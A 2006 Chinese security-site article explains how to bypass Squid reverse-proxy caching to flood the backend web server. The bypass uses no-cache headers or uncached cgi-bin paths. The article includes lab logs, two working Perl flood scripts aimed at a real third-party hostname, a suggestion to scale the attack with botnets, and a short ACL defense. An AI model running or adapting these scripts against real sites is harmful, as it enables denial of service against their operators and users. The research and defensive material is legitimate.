首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
利用HTTP指令进行攻击-Cache篇
来源:blog.xfocus.net/coolc 作者:Coolc 发布时间:2006-06-20  

利用HTTP指令进行攻击
-Cache篇
Coolc
Email: eanalysis AT gmail.com
Homepage:blog.xfocus.net/coolc
2006-6-7

前言
Coolc早就有写此篇文章的打算,其实文中更多的为技巧而非技术,就内容上看,在真正渗透攻击时造成的危害并非很大,但是这些内容体现了一种思路,就是从协议指令的思想去进一步挖掘漏洞,进行可能的攻击,我想这才是这篇文章最有价值的地方吧。也希望拙作能给同样是从事网络安全的朋友,带来一些灵感,也欢迎大家同我联系。

内容
技术背景
随着Web技术越来越广泛的应用到我们的生活,Web应用的架构的设计者和开发者不得不面对这么一个问题,那就是Web不断增长的访问量和负载,随之提升性能的相关技术应运而生,如DNS轮询、负载均衡、Cache技术等等。如果有兴趣,大家不妨对大型网站进行一下抓包,可以发现很多网站都采用了 squid反向代理,通过Squid的Cache提供高速Web响应。

攻击原理
Cache机制不仅给服务器处理带来了很大程度的性能提升,一定程度上,也大大提升了Web服务提供商应对Get Flood的能力。一般常见Cache架构如下图:


从上面的架构可以看出,用户对网站的访问,大多被分布的Cache服务器分担了,由于Cache服务器的数量以及Cache的良好处理吞吐性能,即便发生了Get Flood等攻击,此种机制也可以很好的自身消化掉攻击负载,并且即便单一Cache主机瘫痪也不会对整体Web服务造成影响。如图:

通过架构分析,我们可以假设这样一种形势,如果攻击者可以穿过Cache,直接将负载压力传达到后台提供HTTP服务的服务器,将这台机器攻击瘫痪,那么前台的服务器也将因为Cache无法得到更新而服务受到影响,达到拒绝服务的效果。如下图所示:

那么是否有方法可以达到上述效果呢?答案是肯定的,那就是通过HTTP指令来达到此种攻击。
HTTP协议(v1.1和v1.0)都提供了Cache处理字段,其中字段Cache-Control(v1.0中为Pragma),当这个字段的值为 no-cache时,大多数cache软件将不对请求作出响应,而直接将请求传递到后台服务器,利用这个指令的机制,我们就可以实现我们所要达到的攻击效果。

效果验证
为了验证这种理论上的攻击形式,Coolc架设了简单的应用环境进行验证。整个实验环境架构如下:


正常访问
而在正常情况下,Squid会在内存Cache中处理所有请求,可以发现大多数请求的压力根本无法到达Apache,而直接在Squid消化。如下所示, 500个请求,只有一个到达了Apache,而这个访问,只是Squid为了到Apache拉取最初始的文件内容造成的。
root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l
1
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c
499 TCP_MEM_HIT/200

指令绕过
当Squid在处理访问时,如果发现特殊的标志位后,其将会直接将请求向后转发,同事将在访问日志中记为一条 TCP_CLIENT_REFRESH_MISS。通过下面试验,我发送了500个带特殊标志位的HTTP请求,直接越过了Cache,而将压力直接加载到后台,下面的结果我们验证了效果

用Pragma: no-cache绕过
root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l
500
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c
500 TCP_CLIENT_REFRESH_MISS/200

用Cache-Control:no-cache绕过
root@coolc:~/squid-2.5.STABLE12# cat apache-host.example.com-access_log |wc -l
500
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c
500 TCP_CLIENT_REFRESH_MISS/200


演示代码:
use IO::Socket;
#$host=shift(@ARGV);
$i=1;
while ($i<500) {
$i++;
print "\n$i\n";
$remote = IO::Socket::INET->new(Proto => "tcp",
PeerPort => "80",
#PeerAddr => "blog.xfocus.net"
PeerAddr => "test.qq.com"
)||die(print "cant't connet $!");
$remote->autoflush(1);
print $remote "GET /index.html HTTP/1.1\r\nAccept:image/gif image/x-xbitmap, image/jpeg,application/x-shockwave-flash\r\nReferer: http://www.google.com\r\nAccept:-Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nCache-Control:no-cache\r\nHOST:test.qq.com\n\n";
#print <$remote>;
close $remote;
#sleep 1;
}

实际应用
利用配置问题
在实际应用中的攻击,也许对方网管会采取作Squid的ACL方法来屏蔽此种攻击,但是实际环境中的攻击种类和方法会更加多样化,例如利用Squid默认配置中存在的问题,一样可以达到灵巧利用此问题,并具有一定隐蔽性。

场景某网管在Squid通过ACL做了no-cache过滤,使得加杂no-cahce的指令无法穿过,但是一样遭到了Cache拒绝服务攻击。

攻击原理
Squid的处理方式当返回为404、403时,通过cache处理减轻后台Web系统的负担。
通过程序用GET方式访问500次不存在的文件“index.html。”
查看squid的日志,cache住了绝大多数请求。
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |wc -l
499
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c
499 TCP_NEGATIVE_HIT/404
root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l
0

而实际上传到到Apache上的压力为0,也就是几乎没有压力。TCP_NEGATIVE_HIT解决了大多数的负载,导致攻击压力全部不能施加在后台的Web服务器。
从Squid的配置文件里可以看到,Squid对于特殊错误的返回也是做了处理的,一样做了Cache。

# TAG: negative_ttl time-units
# Time-to-Live (TTL) for failed requests. Certain types of
# failures (such as "connection refused" and "404 Not Found") are
# negatively-cached for a configurable amount of time. The
# default is 5 minutes. Note that this is different from
# negative caching of DNS lookups.


是否有方式可以绕过cache机制和ACL限制,将类似404压力施加到服务器上?答案时肯定的,那就是通过访问cgi-bin目录下的文件。

通过执行攻击代码我们同样实现了对后台主机的攻击,穿透了Cache。
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c
499 TCP_MISS/404

root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l
499
从日志中可以发现如下痕迹。
172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298
172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298
172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298
172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298
实际上造成上述原因就死活因为默认配置中对于cgi-bin目录做了特殊处理,导致对于其放开了Cache的限制。
# TAG: hierarchy_stoplist
# A list of words which, if found in a URL, cause the object to
# be handled directly by this cache. In other words, use this
# to not query neighbor caches for certain objects. You may
# list this option multiple times. Note: never_direct overrides
# this option.
#We recommend you to use at least the following line.
hierarchy_stoplist cgi-bin ?
# TAG: no_cache
# A list of ACL elements which, if matched, cause the request to
# not be satisfied from the cache and the reply to not be cached.
# In other words, use this to force certain objects to never be cached.
#
# You must use the word 'DENY' to indicate the ACL names which should
# NOT be cached.
#
#We recommend you to use the following two lines.
acl QUERY urlpath_regex cgi-bin \?
no_cache deny QUERY

攻击代码:
use IO::Socket;
#$host=shift(@ARGV);
$i=1;
while ($i<500) {
$i++;
print "\n$i\n";
$remote = IO::Socket::INET->new(Proto => "tcp",
PeerPort => "80",
#PeerAddr => "blog.xfocus.net"
PeerAddr => "test.qq.com"
)||die(print "cant't connet $!");
$remote->autoflush(1);
print $remote "GET /cgi-bin/index.html1 HTTP/1.1\r\nAccept:image/gif image/x-xbitmap, image/jpeg,application/x-shockwave-flash\r\nReferer: http://www.google.com\r\nAccept:-Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nHOST:test.qq.com\n\n";
#print <$remote>;
close $remote;
#sleep 1;
}


扩展思路
当然目前这种攻击方式还仅仅是理论上的攻击,比如攻击代码单线程,攻击IP和特征明显。很容易被识别并作ACL过滤。但是当我们扩展思路,如果我们利用大量的botnet或代理,变化所访问的文件和HTTP指令内容进行攻击,那么造成的攻击将会更加有威力,并且难以识别。同时由于攻击负责将直接加载于后台,那么作为防御方的主机资源优势也大打折扣。

防御方法
最简单有效的方法无非是通过SQUID的配置中加载ACL禁用no-cache指令,不过此方法往往只在静态页面的服务器比较容易实现。

如:
acl LocalServers dst 192.168.8.0/24
no_cache deny LocalServers
总结
实际上HTTP指令的攻击不仅仅与此,本身HTTP协议的扩展协议指令一样有很多有待挖掘的地方,对于此种攻击思路,虽然Coolc目前还没看到相关的描述,但是个人感觉也许在地下组织中,这些思路早已出现,甚至已经有了成熟的工具,coolc在这里全当抛砖引玉,希望对网络安全有兴趣的同仁可以同我联系,共同讨论研究。



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·简介绕过DarkSpy的方法
·PPPoE验证与利用
·创建高权限进程
·你藏好了吗之轻松揪出数据库
·轻轻松松穿透防火墙
·基于ARP欺骗的嗅探原理
·LB5000XP论坛配合SERV-U获取系统
·Hackfing in Mysql5
·菜鸟学习SQL注射最容易简洁的方
·rootkit的使用
·SQLServer提升权限相关命令
·再谈突破各种防火墙的防护
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved